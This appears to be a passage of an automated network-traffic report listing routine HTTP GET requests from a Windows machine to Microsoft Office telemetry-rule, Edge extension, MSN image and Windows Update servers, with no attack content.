Source: global traffic	HTTP traffic detected: GET /crx/blobs/AW50ZFsLPhJJyx_4ShcDOgcEpJeOc7Vr0kMzfFRoaMfWx4pAgZ0UGF2i9_ei1A7FAHQ-EPFULeBn7F8_SEKhjbpEyKfiidX7GF_6BDOycMeg5w03wjwVQ61hkaEix8WFqmEAxlKa5cmz_tdFr9JtRwdqRu82wmLe2Ghe/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_84_1_0.crx HTTP/1.1Host: clients2.googleusercontent.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120656v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120655v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120657v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120658v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120659v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /filestreamingservice/files/bdc392b9-6b81-4aaa-b3ee-2fffd9562edb?P1=1732925662&P2=404&P3=2&P4=aHmmdBArmPmGh24OHzMLHy1IuvRr1vg0Y05HavyIGFco3Ui2M5JAE8xf1f0OpwkY9DcfSor5g%2boZ98EkaRFl3A%3d%3d HTTP/1.1Host: msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.comConnection: keep-aliveMS-CV: jCIJr95YPmcip7wD0F+6R4Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1cLbwq?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120660v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120662v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120661v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120664v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120663v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1sFuPI?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120665v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120666v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120667v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120668v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120669v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AAAAWUx?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120670v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120671v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120674v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120673v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120672v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AAtK5aP?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120675v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120679v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120676v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120677v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120678v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB18CMuA?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120680v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120602v10s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120681v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=XxOFOFpDXBZmBM8&MD=x+H955wz HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule120682v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120601v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224901v11s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700401v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700400v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703901v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703351v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703350v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703501v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703500v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703401v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703400v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703601v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
